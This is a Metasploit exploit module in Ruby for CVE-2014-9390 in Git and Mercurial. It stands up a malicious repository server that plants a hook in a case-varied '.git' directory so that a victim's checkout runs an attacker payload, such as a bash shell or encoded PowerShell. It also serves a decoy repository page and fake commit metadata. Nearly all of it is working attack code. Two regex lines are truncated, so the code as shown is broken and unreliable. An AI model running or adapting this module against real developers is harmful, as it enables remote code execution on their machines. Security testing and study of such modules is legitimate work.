require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(
info,
'Name' => 'Malicious Git and Mercurial HTTP Server For CVE-2014-9390',
'Description' => %q(
This module exploits CVE-2014-9390, which affects Git (versions less
than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions
less than 3.2.3) and describes three vulnerabilities.
On operating systems which have case-insensitive file systems, like
Windows and OS X, Git clients can be convinced to retrieve and
overwrite sensitive configuration files in the .git
directory which can allow arbitrary code execution if a vulnerable
client can be convinced to perform certain actions (for example,
a checkout) against a malicious Git repository.
A second vulnerability with similar characteristics also exists in both
Git and Mercurial clients, on HFS+ file systems (Mac OS X) only, where
certain Unicode codepoints are ignorable.
The third vulnerability with similar characteristics only affects
Mercurial clients on Windows, where Windows "short names"
(MS-DOS-compatible 8.3 format) are supported.
Today this module only truly supports the first vulnerability (Git
clients on case-insensitive file systems) but has the functionality to
support the remaining two with a little work.
),
'License' => MSF_LICENSE,
'Author' => [
'Jon Hart <jon_hart[at]rapid7.com>'
],
'References' =>
[
['CVE', '2014-9390'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/01/01/12-days-of-haxmas-exploiting-cve-2014-9390-in-git-and-mercurial'],
['URL', 'http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html'],
['URL', 'http://article.gmane.org/gmane.linux.kernel/1853266'],
['URL', 'https://github.com/blog/1938-vulnerability-announced-update-your-git-clients'],
['URL', 'https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/'],
['URL', 'http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29'],
['URL', 'http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e'],
['URL', 'http://selenic.com/repo/hg-stable/rev/6dad422ecc5a']
],
'DisclosureDate' => 'Dec 18 2014',
'Targets' =>
[
[
'Automatic',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload'=>
{
'Compat'=>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic bash-tcp perl'
}
}
}
],
[
'Windows Powershell',
{
'Platform' => [ 'windows' ],
'Arch' => [ARCH_X86, ARCH_X64]
}
]
],
'DefaultTarget'=> 0))
register_options(
[
OptBool.new('GIT', [true, 'Exploit Git clients', true])
]
)
register_advanced_options(
[
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
OptString.new('MERCURIAL_URI', [false, 'The URI to use as the malicious Mercurial instance (empty for random)', '']),
OptString.new('GIT_HOOK', [false, 'The Git hook to use for exploitation', 'post-checkout']),
OptString.new('MERCURIAL_HOOK', [false, 'The Mercurial hook to use for exploitation', 'update']),
OptBool.new('MERCURIAL', [false, 'Enable experimental Mercurial support', false])
]
)
end
def setup
@repo_data = {
git: { files: {}, trigger: nil },
mercurial: { files: {}, trigger: nil }
}
unless datastore['GIT'] || datastore['MERCURIAL']
fail_with(Failure::BadConfig, 'Must specify at least one GIT and/or MERCURIAL')
end
setup_git
setup_mercurial
super
end
def setup_git
return unless datastore['GIT']
unless git_uri && git_uri =~ /^\//
fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
end
if datastore['GIT_HOOK'].blank?
fail_with(Failure::BadConfig, 'GIT_HOOK must not be blank')
end
case target.name
when 'Automatic'
full_cmd = "#!/bin/sh\n#{payload.encoded}\n"
when 'Windows Powershell'
psh = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
encode_final_payload: true)
full_cmd = "#!/bin/sh\n#{psh}"
end
sha1, content = build_object('blob', full_cmd)
trigger = "/objects/#{get_path(sha1)}"
@repo_data[:git][:trigger] = trigger
@repo_data[:git][:files][trigger] = content
sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
variants = []
%w(g G). each do |g|
%w(i I).each do |i|
%w(t T).each do |t|
git = g + i + t
variants << git unless git.chars.none? { |c| c == c.upcase }
end
end
end
git_dir = '.' + variants.sample
sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
email = Rex::Text.rand_mail_address
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
full_name = "#{first.capitalize} #{last.capitalize}"
tstamp = Time.now.to_i
author_time = rand(tstamp)
commit_time = rand(author_time)
tz_off = rand(10)
commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
"\n" \
"Initial commit to open git repository for #{company}!\n"
if datastore['VERBOSE']
vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:")
commit.each_line { |l| vprint_status(l.strip) }
end
sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
end
def setup_mercurial
return unless datastore['MERCURIAL']
unless mercurial_uri && mercurial_uri =~ /^\//
fail_with(Failure::BadConfig, 'MERCURIAL_URI must start with a /')
end
if datastore['MERCURIAL_HOOK'].blank?
fail_with(Failure::BadConfig, 'MERCURIAL_HOOK must not be blank')
end
@repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN'
fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814'
@repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n"
@repo_data[:mercurial][:files]["?cmd=getbundle&common=#{'0' * 40}&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo")
end
def build_object(type, content)
header = "#{type} #{content.size}\0"
store = header + content
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
end
def get_path(sha1)
sha1[0...2] + '/' + sha1[2..40]
end
def exploit
super
end
def primer
if datastore['GIT']
hardcoded_uripath(git_uri)
print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}")
end
if datastore['MERCURIAL']
hardcoded_uripath(mercurial_uri)
print_status("Malicious Mercurial URI is #{URI.parse(get_uri).merge(mercurial_uri)}")
end
end
def on_request_uri(cli, req)
if (user_agent = req.headers['User-Agent'])
if datastore['GIT'] && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
do_git(cli, req)
return
elsif datastore['MERCURIAL'] && user_agent =~ /^mercurial\// && req.uri.start_with?(mercurial_uri)
do_mercurial(cli, req)
return
end
end
do_html(cli, req)
end
def do_git(cli, req)
req_file = URI.parse(req.uri).path.gsub(/^
if @repo_data[:git][:files].key?(req_file)
vprint_status("Sending Git #{req_file}")
send_response(cli, @repo_data[:git][:files][req_file])
if req_file == @repo_data[:git][:trigger]
vprint_status("Trigger!")
handler(cli)
end
else
vprint_status("Git #{req_file} doesn't exist")
send_not_found(cli)
end
end
def do_html(cli, _req)
resp = create_response
resp.body = <<HTML
<html>
<head><title>Public Repositories</title></head>
<body>
<p>Here are our public repositories:</p>
<ul>
HTML
if datastore['GIT']
this_git_uri = URI.parse(get_uri).merge(git_uri)
resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"
else
resp.body << "<li><a>Git</a> (currently offline)</li>"
end
if datastore['MERCURIAL']
this_mercurial_uri = URI.parse(get_uri).merge(mercurial_uri)
resp.body << "<li><a href=#{mercurial_uri}>Mercurial</a> (clone with `hg clone #{this_mercurial_uri}`)</li>"
else
resp.body << "<li><a>Mercurial</a> (currently offline)</li>"
end
resp.body << <<HTML
</ul>
</body>
</html>
HTML
cli.send_response(resp)
end
def do_mercurial(cli, req)
uri = URI.parse(req.uri)
req_path = uri.path
req_path += "?#{uri.query}" if uri.query
req_path.gsub!(/^
if @repo_data[:mercurial][:files].key?(req_path)
vprint_status("Sending Mercurial #{req_path}")
send_response(cli, @repo_data[:mercurial][:files][req_path], 'Content-Type' => 'application/mercurial-0.1')
if req_path == @repo_data[:mercurial][:trigger]
vprint_status("Trigger!")
handler(cli)
end
else
vprint_status("Mercurial #{req_path} doesn't exist")
send_not_found(cli)
end
end
def git_uri
return @git_uri if @git_uri
if datastore['GIT_URI'].blank?
@git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'
else
@git_uri = datastore['GIT_URI']
end
end
def mercurial_uri
return @mercurial_uri if @mercurial_uri
if datastore['MERCURIAL_URI'].blank?
@mercurial_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 6).downcase
else
@mercurial_uri = datastore['MERCURIAL_URI']
end
end
end